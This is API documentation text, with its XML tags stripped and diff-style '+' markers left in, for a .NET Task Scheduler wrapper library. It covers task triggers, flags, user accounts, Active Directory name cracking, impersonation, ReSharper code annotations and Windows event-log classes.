Inserts an trigger at the specified index. + + The zero-based index at which trigger should be inserted. + The trigger to insert into the list. + + + + Removes the first occurrence of a specific object from the . + + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method also returns false if is not found in the original . + + + + + Removes the trigger at a specified index. + + Index of trigger to remove. + Index out of range. + + + + Copies the elements of the to a new array. + + An array containing copies of the elements of the . + + + + Returns a that represents the triggers in this collection. + + + A that represents the triggers in this collection. + + + + + Releases all resources used by this class. + + + + Represents a system account. + + + Initializes a new instance of the class. + + Name of the user. This can be in the format DOMAIN\username or username@domain.com or username or + null (for current user). + + + + Initializes a new instance of the class. + The . + + + Gets the current user. + The current user. + + + Gets the identity. + The identity. + + + Gets a value indicating whether this instance is in an administrator role. + true if this instance is an admin; otherwise, false. + + + Gets a value indicating whether this instance is the interactive user. + true if this instance is the current user; otherwise, false. + + + Gets a value indicating whether this instance is a service account. + true if this instance is a service account; otherwise, false. + + + Gets a value indicating whether this instance is the SYSTEM account. + true if this instance is the SYSTEM account; otherwise, false. + + + Gets the SID string. + The SID string. + + + Gets the NT name (DOMAIN\username). + The name of the user. + + + Create a instance from a SID string. + The SID string. + A instance. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + Options for a task, used for the Flags property of a Task. Uses the + "Flags" attribute, so these values are combined with |. + Some flags are documented as Windows 95 only, but they have a + user interface in Windows XP so that may not be true. + + + + + The interactive flag is set if the task is intended to be displayed to the user. + If the flag is not set, no user interface associated with the task is presented + to the user when the task is executed. + + + + + The task will be deleted when there are no more scheduled run times. + + + + + The task is disabled. This is useful to temporarily prevent a task from running + at the scheduled time(s). + + + + + The task begins only if the computer is not in use at the scheduled start time. Windows 95 only. + + + + + The task terminates if the computer makes an idle to non-idle transition while the task is running. + The computer is not considered idle until the IdleWait triggers' time elapses with no user input. + Windows 95 only. For information regarding idle triggers, see . + + + + + The task does not start if its target computer is running on battery power. Windows 95 only. + + + + + The task ends, and the associated application quits if the task's target computer switches + to battery power. Windows 95 only. + + + + + The task runs only if the system is docked. Windows 95 only. + + + + + The work item created will be hidden. + + + + + The task runs only if there is currently a valid Internet connection. + This feature is currently not implemented. + + + + + The task starts again if the computer makes a non-idle to idle transition before all the + task's task_triggers elapse. (Use this flag in conjunction with KillOnIdleEnd.) Windows 95 only. + + + + + The task runs only if the SYSTEM account is available. + + + + + The task runs only if the user specified in SetAccountInformation is logged on interactively. + This flag has no effect on work items set to run in the local account. + + + + + Status values returned for a task. Some values have been determined to occur although + they do no appear in the Task Scheduler system documentation. + + + + The task is ready to run at its next scheduled time. + + + The task is currently running. + + + One or more of the properties that are needed to run this task on a schedule have not been set. + + + The task has not yet run. + + + The task will not run at the scheduled times because it has been disabled. + + + There are no more runs scheduled for this task. + + + The last run of the task was terminated by the user. + + + Either the task has no triggers or the existing triggers are disabled or not set. + + + Event triggers don't have set run times. + + + Valid types of triggers + + + Trigger is set to run the task a single time. + + + Trigger is set to run the task on a daily interval. + + + Trigger is set to run the work item on specific days of a specific week of a specific month. + + + Trigger is set to run the task on a specific day(s) of the month. + + + Trigger is set to run the task on specific days, weeks, and months. + + + Trigger is set to run the task if the system remains idle for the amount of time specified by the idle wait time of the task. + + + Trigger is set to run the task at system startup. + + + Trigger is set to run the task when a user logs on. + + + + Represents a wildcard running on the + engine. + + + + + Initializes a wildcard with the given search pattern and options. + + The wildcard pattern to match. + A combination of one or more . + + + + Converts a wildcard to a regular expression. + + The wildcard pattern to convert. + A regular expression equivalent of the given wildcard. + + + + The GlobalLock function locks a global memory object and returns a pointer to the first byte of the object's memory block. + GlobalLock function increments the lock count by one. + Needed for the clipboard functions when getting the data from IDataObject + + + + + + + The GlobalUnlock function decrements the lock count associated with a memory object. + + + + + + + Defines the errors returned by the status member of the DS_NAME_RESULT_ITEM structure. These are potential errors that may be encountered while a name is converted by the DsCrackNames function. + + + + The conversion was successful. + + + Generic processing error occurred. + + + The name cannot be found or the caller does not have permission to access the name. + + + The input name is mapped to more than one output name or the desired format did not have a single, unique value for the object found. + + + The input name was found, but the associated output format cannot be found. This can occur if the object does not have all the required attributes. + + + Unable to resolve entire name, but was able to determine in which domain object resides. The caller is expected to retry the call at a domain controller for the specified domain. The entire name cannot be resolved, but the domain that the object resides in could be determined. The pDomain member of the DS_NAME_RESULT_ITEM contains valid data when this error is specified. + + + A syntactical mapping cannot be performed on the client without transmitting over the network. + + + The name is from an external trusted forest. + + + + Used to define how the name syntax will be cracked. These flags are used by the DsCrackNames function. + + + + Indicate that there are no associated flags. + + + Perform a syntactical mapping at the client without transferring over the network. The only syntactic mapping supported is from DS_FQDN_1779_NAME to DS_CANONICAL_NAME or DS_CANONICAL_NAME_EX. + + + Force a trip to the DC for evaluation, even if this could be locally cracked syntactically. + + + The call fails if the domain controller is not a global catalog server. + + + Enable cross forest trust referral. + + + + Provides formats to use for input and output names for the DsCrackNames function. + + + + Indicates the name is using an unknown name type. This format can impact performance because it forces the server to attempt to match all possible formats. Only use this value if the input format is unknown. + + + Indicates that the fully qualified distinguished name is used. For example: "CN = someone, OU = Users, DC = Engineering, DC = Fabrikam, DC = Com" + + + Indicates a Windows NT 4.0 account name. For example: "Engineering\someone" The domain-only version includes two trailing backslashes (\\). + + + Indicates a user-friendly display name, for example, Jeff Smith. The display name is not necessarily the same as relative distinguished name (RDN). + + + Indicates a GUID string that the IIDFromString function returns. For example: "{4fa050f0-f561-11cf-bdd9-00aa003a77b6}" + + + Indicates a complete canonical name. For example: "engineering.fabrikam.com/software/someone" The domain-only version includes a trailing forward slash (/). + + + Indicates that it is using the user principal name (UPN). For example: "someone@engineering.fabrikam.com" + + + This element is the same as DS_CANONICAL_NAME except that the rightmost forward slash (/) is replaced with a newline character (\n), even in a domain-only case. For example: "engineering.fabrikam.com/software\nsomeone" + + + Indicates it is using a generalized service principal name. For example: "www/www.fabrikam.com@fabrikam.com" + + + Indicates a Security Identifier (SID) for the object. This can be either the current SID or a SID from the object SID history. The SID string can use either the standard string representation of a SID, or one of the string constants defined in Sddl.h. For more information about converting a binary SID into a SID string, see SID Strings. The following is an example of a SID string: "S-1-5-21-397955417-626881126-188441444-501" + + + + Class that provides methods against a AD domain service. + + + + + + Initializes a new instance of the class. + + Name of the domain controller. + Name of the DNS domain. + + + + + Converts a directory service object name from any format to the UPN. + + The name to convert. + The corresponding UPN. + Unable to resolve user name. + + + + Converts an array of directory service object names from one format to another. Name conversion enables client applications to map between the multiple names used to identify various directory service objects. + + The names to convert. + Values used to determine how the name syntax will be cracked. + Format of the input names. + Desired format for the output names. + An array of DS_NAME_RESULT_ITEM structures. Each element of this array represents a single converted name. + + + + Impersonation of a user. Allows to execute code under another + user context. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + + + + Constructor. Starts the impersonation with the given credentials. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + The name of the user to act as. + The domain name of the user to act as. + The password of the user to act as. + + + + Indicates that the value of the marked element could be null sometimes, + so the check for null is necessary before its usage. + + + [CanBeNull] object Test() => null; + + void UseTest() { + var p = Test(); + var s = p.ToString(); // Warning: Possible 'System.NullReferenceException' + } + + + + + Indicates that the value of the marked element could never be null. + + + [NotNull] object Foo() { + return null; // Warning: Possible 'null' assignment + } + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can never be null. + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can be null. + + + + + Indicates that the marked method builds string by format pattern and (optional) arguments. + Parameter, which contains format string, should be given in constructor. The format string + should be in -like form. + + + [StringFormatMethod("message")] + void ShowError(string message, params object[] args) { /* do something */ } + + void Foo() { + ShowError("Failed: {0}"); // Warning: Non-existing argument in format string + } + + + + + Specifies which parameter of an annotated method should be treated as format-string + + + + + For a parameter that is expected to be one of the limited set of values. + Specify fields of which type should be used as values for this parameter. + + + + + Indicates that the function argument should be string literal and match one + of the parameters of the caller function. For example, ReSharper annotates + the parameter of . + + + void Foo(string param) { + if (param == null) + throw new ArgumentNullException("par"); // Warning: Cannot resolve symbol + } + + + + + Indicates that the method is contained in a type that implements + System.ComponentModel.INotifyPropertyChanged interface and this method + is used to notify that some property value changed. + + + The method should be non-static and conform to one of the supported signatures: + + NotifyChanged(string) + NotifyChanged(params string[]) + NotifyChanged{T}(Expression{Func{T}}) + NotifyChanged{T,U}(Expression{Func{T,U}}) + SetProperty{T}(ref T, T, string) + + + + public class Foo : INotifyPropertyChanged { + public event PropertyChangedEventHandler PropertyChanged; + + [NotifyPropertyChangedInvocator] + protected virtual void NotifyChanged(string propertyName) { ... } + + string _name; + + public string Name { + get { return _name; } + set { _name = value; NotifyChanged("LastName"); /* Warning */ } + } + } + + Examples of generated notifications: + + NotifyChanged("Property") + NotifyChanged(() => Property) + NotifyChanged((VM x) => x.Property) + SetProperty(ref myField, value, "Property") + + + + + + Describes dependency between method input and output. + + +

Function Definition Table syntax:

+ + FDT ::= FDTRow [;FDTRow]* + FDTRow ::= Input => Output | Output <= Input + Input ::= ParameterName: Value [, Input]* + Output ::= [ParameterName: Value]* {halt|stop|void|nothing|Value} + Value ::= true | false | null | notnull | canbenull + + If method has single input parameter, it's name could be omitted.
+ Using halt (or void/nothing, which is the same) for method output + means that the methos doesn't return normally (throws or terminates the process).
+ Value canbenull is only applicable for output parameters.
+ You can use multiple [ContractAnnotation] for each FDT row, or use single attribute + with rows separated by semicolon. There is no notion of order rows, all rows are checked + for applicability and applied per each program state tracked by R# analysis.
+
+ + + [ContractAnnotation("=> halt")] + public void TerminationMethod() + + + [ContractAnnotation("halt <= condition: false")] + public void Assert(bool condition, string text) // regular assertion method + + + [ContractAnnotation("s:null => true")] + public bool IsNullOrEmpty(string s) // string.IsNullOrEmpty() + + + // A method that returns null if the parameter is null, + // and not null if the parameter is not null + [ContractAnnotation("null => null; notnull => notnull")] + public object Transform(object data) + + + [ContractAnnotation("=> true, result: notnull; => false, result: null")] + public bool TryParse(string s, out Person result) + + +
+ + + Indicates that marked element should be localized or not. + + + [LocalizationRequiredAttribute(true)] + class Foo { + string str = "my string"; // Warning: Localizable string + } + + + + + Indicates that the value of the marked type (or its derivatives) + cannot be compared using '==' or '!=' operators and Equals() + should be used instead. However, using '==' or '!=' for comparison + with null is always permitted. + + + [CannotApplyEqualityOperator] + class NoEquality { } + + class UsesNoEquality { + void Test() { + var ca1 = new NoEquality(); + var ca2 = new NoEquality(); + if (ca1 != null) { // OK + bool condition = ca1 == ca2; // Warning + } + } + } + + + + + When applied to a target attribute, specifies a requirement for any type marked + with the target attribute to implement or inherit specific type or types. + + + [BaseTypeRequired(typeof(IComponent)] // Specify requirement + class ComponentAttribute : Attribute { } + + [Component] // ComponentAttribute requires implementing IComponent interface + class MyComponent : IComponent { } + + + + + Indicates that the marked symbol is used implicitly (e.g. via reflection, in external library), + so this symbol will not be marked as unused (as well as by other usage inspections). + + + + + Should be used on attributes and causes ReSharper to not mark symbols marked with such attributes + as unused (as well as by other usage inspections) + + + + Only entity marked with attribute considered used. + + + Indicates implicit assignment to a member. + + + + Indicates implicit instantiation of a type with fixed constructor signature. + That means any unused constructor parameters won't be reported as such. + + + + Indicates implicit instantiation of a type. + + + + Specify what is considered used implicitly when marked + with or . + + + + Members of entity marked with attribute are considered used. + + + Entity marked with attribute and all its members considered used. + + + + This attribute is intended to mark publicly available API + which should not be removed and so is treated as used. + + + + + Tells code analysis engine if the parameter is completely handled when the invoked method is on stack. + If the parameter is a delegate, indicates that delegate is executed while the method is executed. + If the parameter is an enumerable, indicates that it is enumerated while the method is executed. + + + + + Indicates that a method does not make any observable state changes. + The same as System.Diagnostics.Contracts.PureAttribute. + + + [Pure] int Multiply(int x, int y) => x * y; + + void M() { + Multiply(123, 42); // Waring: Return value of pure method is not used + } + + + + + Indicates that the return value of method invocation must be used. + + + + + Indicates the type member or parameter of some type, that should be used instead of all other ways + to get the value that type. This annotation is useful when you have some "context" value evaluated + and stored somewhere, meaning that all other ways to get this value must be consolidated with existing one. + + + class Foo { + [ProvidesContext] IBarService _barService = ...; + + void ProcessNode(INode node) { + DoSomething(node, node.GetGlobalServices().Bar); + // ^ Warning: use value of '_barService' field + } + } + + + + + Indicates that a parameter is a path to a file or a folder within a web project. + Path can be relative or absolute, starting from web root (~). + + + + + An extension method marked with this attribute is processed by ReSharper code completion + as a 'Source Template'. When extension method is completed over some expression, it's source code + is automatically expanded like a template at call site. + + + Template method body can contain valid source code and/or special comments starting with '$'. + Text inside these comments is added as source code when the template is applied. Template parameters + can be used either as additional method parameters or as identifiers wrapped in two '$' signs. + Use the attribute to specify macros for parameters. + + + In this example, the 'forEach' method is a source template available over all values + of enumerable types, producing ordinary C# 'foreach' statement and placing caret inside block: + + [SourceTemplate] + public static void forEach<T>(this IEnumerable<T> xs) { + foreach (var x in xs) { + //$ $END$ + } + } + + + + + + Allows specifying a macro for a parameter of a source template. + + + You can apply the attribute on the whole method or on any of its additional parameters. The macro expression + is defined in the property. When applied on a method, the target + template parameter is defined in the property. To apply the macro silently + for the parameter, set the property value = -1. + + + Applying the attribute on a source template method: + + [SourceTemplate, Macro(Target = "item", Expression = "suggestVariableName()")] + public static void forEach<T>(this IEnumerable<T> collection) { + foreach (var item in collection) { + //$ $END$ + } + } + + Applying the attribute on a template method parameter: + + [SourceTemplate] + public static void something(this Entity x, [Macro(Expression = "guid()", Editable = -1)] string newguid) { + /*$ var $x$Id = "$newguid$" + x.ToString(); + x.DoSomething($x$Id); */ + } + + + + + + Allows specifying a macro that will be executed for a source template + parameter when the template is expanded. + + + + + Allows specifying which occurrence of the target parameter becomes editable when the template is deployed. + + + If the target parameter is used several times in the template, only one occurrence becomes editable; + other occurrences are changed synchronously. To specify the zero-based index of the editable occurrence, + use values >= 0. To make the parameter non-editable when the template is expanded, use -1. + > + + + + Identifies the target parameter of a source template if the + is applied on a template method. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC action. If applied to a method, the MVC action name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC area. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is + an MVC controller. If applied to a method, the MVC controller name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC Master. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC model type. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is an MVC + partial view. If applied to a method, the MVC partial view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.RenderPartialExtensions.RenderPartial(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Allows disabling inspections for MVC views within a class or a method. + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC display template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.DisplayExtensions.DisplayForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC editor template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.EditorExtensions.EditorForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC template. + Use this attribute for custom wrappers similar to + System.ComponentModel.DataAnnotations.UIHintAttribute(System.String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component. If applied to a method, the MVC view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Controller.View(Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component name. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component view. If applied to a method, the MVC view component view name is default. + + + + + ASP.NET MVC attribute. When applied to a parameter of an attribute, + indicates that this parameter is an MVC action name. + + + [ActionName("Foo")] + public ActionResult Login(string returnUrl) { + ViewBag.ReturnUrl = Url.Action("Foo"); // OK + return RedirectToAction("Bar"); // Error: Cannot resolve action + } + + + + + Razor attribute. Indicates that a parameter or a method is a Razor section. + Use this attribute for custom wrappers similar to + System.Web.WebPages.WebPageBase.RenderSection(String). + + + + + Indicates how method, constructor invocation or property access + over collection type affects content of the collection. + + + + Method does not use or modify content of the collection. + + + Method only reads content of the collection but does not modify it. + + + Method can change content of the collection but does not add new elements. + + + Method can add new elements to the collection. + + + + Indicates that the marked method is assertion method, i.e. it halts control flow if + one of the conditions is satisfied. To set the condition, mark one of the parameters with + attribute. + + + + + Indicates the condition parameter of the assertion method. The method itself should be + marked by attribute. The mandatory argument of + the attribute is the assertion type. + + + + + Specifies assertion type. If the assertion method argument satisfies the condition, + then the execution continues. Otherwise, execution is assumed to be halted. + + + + Marked parameter should be evaluated to true. + + + Marked parameter should be evaluated to false. + + + Marked parameter should be evaluated to null value. + + + Marked parameter should be evaluated to not null value. + + + + Indicates that the marked method unconditionally terminates control flow execution. + For example, it could unconditionally throw exception. + + + + + Indicates that method is pure LINQ method, with postponed enumeration (like Enumerable.Select, + .Where). This annotation allows inference of [InstantHandle] annotation for parameters + of delegate type by analyzing LINQ method chains. + + + + + Indicates that IEnumerable, passed as parameter, is not enumerated. + + + + + Indicates that parameter is regular expression pattern. + + + + + Prevents the Member Reordering feature from tossing members of the marked class. + + + The attribute must be mentioned in your member reordering patterns + + + + + XAML attribute. Indicates the type that has ItemsSource property and should be treated + as ItemsControl-derived type, to enable inner items DataContext type resolve. + + + + + XAML attribute. Indicates the property of some BindingBase-derived type, that + is used to bind some item of ItemsControl-derived type. This annotation will + enable the DataContext type resolve for XAML bindings for such properties. + + + Property should have the tree ancestor of the ItemsControl type or + marked with the attribute. + + + + Extensions for classes in the System.Security.AccessControl namespace. + + + Canonicalizes the specified Access Control List. + The Access Control List. + + + Sort ACEs according to canonical form for this . + The object security whose DiscretionaryAcl will be made canonical. + + + Returns an array of byte values that represents the information contained in this object. + The object. + The byte array into which the contents of the is marshaled. + + + + Converts the string representation of the name or numeric value of one or more enumerated constants to an equivalent enumerated object or returns the value of . If is undefined, it returns the first declared item in the enumerated type. + + The enumeration type to which to convert . + The string representation of the enumeration name or underlying value to convert. + true to ignore case; false to consider case. + The default value. + An object of type whose value is represented by value. + + + + + + The application + + + The system + + + The custom + + + + + + The circular + + + The automatic backup + + + The retain + + + + + + The administrative + + + The operational + + + The analytical + + + The debug + + + PathType + + + The file path + + + The log name + + + SessionAuthentication + + + The default + + + The negotiate + + + The kerberos + + + The NTLM + + + Defines the standard keywords that are attached to events by the event provider. For more information about keywords, see . + + + The audit failure + + + The audit success + + + The correlation hint + + + The correlation hint2 + + + The event log classic + + + The none + + + The response time + + + The SQM + + + The wdi context + + + The wdi diagnostic + + + + Represents a placeholder (bookmark) within an event stream. You can use the placeholder to mark a position and return to this position in a stream of + events. An instance of this object can be obtained from an EventRecord object, in which case it corresponds to the position of that event record. + + + + Initializes a new instance of the class. + The information. + The context. + + + Gets the object data. + The information. + The context. + + + + Represents a keyword for an event. Keywords are defined in an event provider and are used to group the event with other similar events (based on the + usage of the events). + + + + Gets the display name. + The display name. + + + Gets the name. + The name. + + + Gets the value. + The value. + + + Contains an event level that is defined in an event provider. The level signifies the severity of the event. + + + Gets the display name. + The display name. + + + Gets the name. + The name. + + + Gets the value. + The value. + + + EventLogConfiguration + + + Initializes a new instance of the class. + Name of the log. + + + Initializes a new instance of the class. + Name of the log. + The session. + + + Gets a value indicating whether this instance is classic log. + true if this instance is classic log; otherwise, false. + + + Gets or sets a value indicating whether this instance is enabled. + true if this instance is enabled; otherwise, false. + + + Gets or sets the log file path. + The log file path. + + + Gets the log isolation. + The log isolation. + + + Gets or sets the log mode. + The log mode. + + + Gets the name of the log. + The name of the log. + + + Gets the type of the log. + The type of the log. + + + Gets or sets the maximum size in bytes. + The maximum size in bytes. + + + Gets the name of the owning provider. + The name of the owning provider. + + + Gets the size of the provider buffer. + The size of the provider buffer. + + + Gets the provider control unique identifier. + The provider control unique identifier. + + + Gets or sets the provider keywords. + The provider keywords. + + + Gets the provider latency. + The provider latency. + + + Gets or sets the provider level. + The provider level. + + + Gets the provider maximum number of buffers. + The provider maximum number of buffers. + + + Gets the provider minimum number of buffers. + The provider minimum number of buffers. + + + Gets the provider names. + The provider names. + + + Gets or sets the security descriptor. + The security descriptor. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Saves the changes. + + + Releases unmanaged and - optionally - managed resources. + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Allows you to access the run-time properties of active event logs and event log files. These properties include the number of events in the log, the size of the log, a value that determines whether the log is full, and the last time the log was written to or accessed. + + + + Gets the attributes. + The attributes. + + + Gets the creation time. + The creation time. + + + Gets the size of the file. + The size of the file. + + + Gets the is log full. + The is log full. + + + Gets the last access time. + The last access time. + + + Gets the last write time. + The last write time. + + + Gets the oldest record number. + The oldest record number. + + + Gets the record count. + The record count. + + + + Represents a link between an event provider and an event log that the provider publishes events into. This object cannot be instantiated. + + + + Gets the display name. + The display name. + + + Gets a value indicating whether this instance is imported. + true if this instance is imported; otherwise, false. + + + Gets the name of the log. + The name of the log. + + + + Contains an array of strings that represent XPath queries for elements in the XML representation of an event, which is based on the Event Schema. The queries in this object are used to extract values from the event. + + + + + Initializes a new instance of the class. + The property queries. + + + Releases unmanaged and - optionally - managed resources. + + + Releases unmanaged and - optionally - managed resources. + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Contains the properties of an event instance for an event that is received from an EventLogReader object. The event properties provide information about the event such as the name of the computer where the event was logged and the time that the event was created. + + + + + Gets the activity identifier. + The activity identifier. + + + Gets the bookmark. + The bookmark. + + + Gets the container log. + The container log. + + + Gets the identifier. + The identifier. + + + Gets the keywords. + The keywords. + + + Gets the keywords display names. + The keywords display names. + + + Gets the level. + The level. + + + Gets the display name of the level. + The display name of the level. + + + Gets the name of the log. + The name of the log. + + + Gets the name of the machine. + The name of the machine. + + + Gets the matched query ids. + The matched query ids. + + + Gets the opcode. + The opcode. + + + Gets the display name of the opcode. + The display name of the opcode. + + + Gets the process identifier. + The process identifier. + + + Gets the properties. + The properties. + + + Gets the provider identifier. + The provider identifier. + + + Gets the name of the provider. + The name of the provider. + + + Gets the qualifiers. + The qualifiers. + + + Gets the record identifier. + The record identifier. + + + Gets the related activity identifier. + The related activity identifier. + + + Gets the task. + The task. + + + Gets the display name of the task. + The display name of the task. + + + Gets the thread identifier. + The thread identifier. + + + Gets the time created. + The time created. + + + Gets the user identifier. + The user identifier. + + + Gets the version. + The version. + + + Formats the description. + + + + Formats the description. + The values. + + + + Gets the property values. + The property selector. + + + + To the XML. + + + + Releases unmanaged and - optionally - managed resources. + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Enables you to read events from an event log based on an event query. The events that are read by this object are returned as EventRecord objects. + + + + + Initializes a new instance of the class. + + + Initializes a new instance of the class. + The server. + + + Initializes a new instance of the class. + The server. + The domain. + The user. + The password. + Type of the log on. + + + Gets the global session. + The global session. + + + Cancels the current operations. + + + Clears the log. + Name of the log. + + + Clears the log. + Name of the log. + The backup path. + logName + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Exports the log. + The path. + Type of the path. + The query. + The target file path. + + + Exports the log. + The path. + Type of the path. + The query. + The target file path. + if set to true [tolerate query errors]. + path or targetFilePath + pathType + + + Exports the log and messages. + The path. + Type of the path. + The query. + The target file path. + + + Exports the log and messages. + The path. + Type of the path. + The query. + The target file path. + if set to true [tolerate query errors]. + The target culture information. + + + Gets the log information. + Name of the log. + Type of the path. + + logName + + + Gets the log names. + + + + Gets the provider names. + + + + Releases unmanaged and - optionally - managed resources. + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Contains the metadata (properties and settings) for an event that is defined in an event provider. + + + Gets the description. + The description. + + + Gets the identifier. + The identifier. + + + Gets the keywords. + The keywords. + + + Gets the level. + The level. + + + Gets the log link. + The log link. + + + Gets the opcode. + The opcode. + + + Gets the task. + The task. + + + Gets the template. + The template. + + + Gets the version. + The version. + + + + Contains an event opcode that is defined in an event provider. An opcode defines a numeric value that identifies the activity or a point within an activity that the application was performing when it raised the event. + + + + Gets the display name. + The display name. + + + Gets the name. + The name. + + + Gets the value. + The value. + + + + Contains the value of an event property that is specified by the event provider when the event is published. + + + + Gets the value. + The value. + + + + Contains the value of an event property that is specified by the event provider when the event is published. + + Contains the properties of an event instance for an event that is received from an EventLogReader object. The event properties provide information about + the event such as the name of the computer where the event was logged and the time that the event was created. + + + + Initializes a new instance of the class. + + + Gets the activity identifier. + The activity identifier. + + + Gets the bookmark. + The bookmark. + + + Gets the identifier. + The identifier. + + + Gets the keywords. + The keywords. + + + Gets the keywords display names. + The keywords display names. + + + Gets the level. + The level. + + + Gets the display name of the level. + The display name of the level. + + + Gets the name of the log. + The name of the log. + + + Gets the name of the machine. + The name of the machine. + + + Gets the opcode. + The opcode. + + + Gets the display name of the opcode. + The display name of the opcode. + + + Gets the process identifier. + The process identifier. + + + Gets the properties. + The properties. + + + Gets the provider identifier. + The provider identifier. + + + Gets the name of the provider. + The name of the provider. + + + Gets the qualifiers. + The qualifiers. + + + Gets the record identifier. + The record identifier. + + + Gets the related activity identifier. + The related activity identifier. + + + Gets the task. + The task. + + + Gets the display name of the task. + The display name of the task. + + + Gets the thread identifier. + The thread identifier. + + + Gets the time created. + The time created. + + + Gets the user identifier. + The user identifier. + + + Gets the version. + The version. + + + Releases unmanaged and - optionally - managed resources. + + + Formats the description. + + + + Formats the description. + The values. + + + + To the XML. + + + + Releases unmanaged and - optionally - managed resources. + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + the custom event handler args. + + + + If any error occurred during subscription, this will be non-null. After a notification containing an exception, no more notifications will be made + for this subscription. + + + + + The EventRecord being notified. + NOTE: If non null, then caller is required to call Dispose(). + + + + + Contains an event task that is defined in an event provider. The task identifies a portion of an application or a component that publishes an event. A task is a 16-bit value with 16 top values reserved. + + + + Gets the display name. + The display name. + + + Gets the event unique identifier. + The event unique identifier. + + + Gets the name. + The name. + + + Gets the value. + The value. + + + + Contains static information about an event provider, such as the name and id of the provider, and the collection of events defined in the provider. + + + + + Initializes a new instance of the class. + Name of the provider. + + + Initializes a new instance of the class. + Name of the provider. + The session. + The target culture information. + + + Gets the display name. + The display name. + + + Gets the events. + The events. + + + Gets the help link. + The help link. + + + Gets the identifier. + The identifier. + + + Gets the keywords. + The keywords. + + + Gets the levels. + The levels. + + + Gets the log links. + The log links. + + + Gets the message file path. + The message file path. + + + Gets the name. + The name. + + + Gets the opcodes. + The opcodes. + + + Gets the parameter file path. + The parameter file path. + + + Gets the resource file path. + The resource file path. + + + Gets the tasks. + The tasks. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Releases unmanaged and - optionally - managed resources. + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + + + + + Allows you to access the run-time properties of active event logs and event log files. These properties include the number of events in the log, the size + of the log, a value that determines whether the log is full, and the last time the log was written to or accessed. + + + + Represents a link between an event provider and an event log that the provider publishes events into. This object cannot be instantiated. + + + + Contains an array of strings that represent XPath queries for elements in the XML representation of an event, which is based on the Event Schema. The + queries in this object are used to extract values from the event. + + + + + Contains the status code or error code for a specific event log. This status can be used to determine if the event log is available for an operation. + + + + Gets the name of the log. + The name of the log. + + + Gets the status code. + The status code. + + + Used for subscribing to event record notifications from event log. + + + Maintains cached display / metadata information returned from EventRecords that were obtained from this reader. + + + Initializes a new instance of the class. + The path. + + + Initializes a new instance of the class. + The event query. + + + Initializes a new instance of the class. + The event query. + The bookmark. + + + Initializes a new instance of the class. + The event query. + The bookmark. + if set to true [read existing events]. + eventQuery + + + + Occurs when [event record written]. + + + + Attribute allowing extenders to be used with .NET Framework 2.0. + + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + Output type for the CLI array. must be able to convert to . + The pointing to the native array. + The number of items in the native array. + An array of type containing the converted elements of the native array. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + The pointing to the native array. + The number of items in the native array. + An array of type containing the elements of the native array. + + + Encapsulates a method that has one parameter and returns a value of the type specified by the TResult parameter. + The type of the return value of the method that this delegate encapsulates. + The return value of the method that this delegate encapsulates. + + + Encapsulates a method that has one parameter and returns a value of the type specified by the TResult parameter. + The type of the parameter of the method that this delegate encapsulates. + The type of the return value of the method that this delegate encapsulates. + The parameter of the method that this delegate encapsulates. + The return value of the method that this delegate encapsulates. + + + Encapsulates a method that has two parameters and returns a value of the type specified by the TResult parameter. + The type of the first parameter of the method that this delegate encapsulates. + The type of the second parameter of the method that this delegate encapsulates. + The type of the return value of the method that this delegate encapsulates. + The first parameter of the method that this delegate encapsulates. + The second parameter of the method that this delegate encapsulates. + The return value of the method that this delegate encapsulates. + + + Encapsulates a method that has two parameters and does not return a value. + 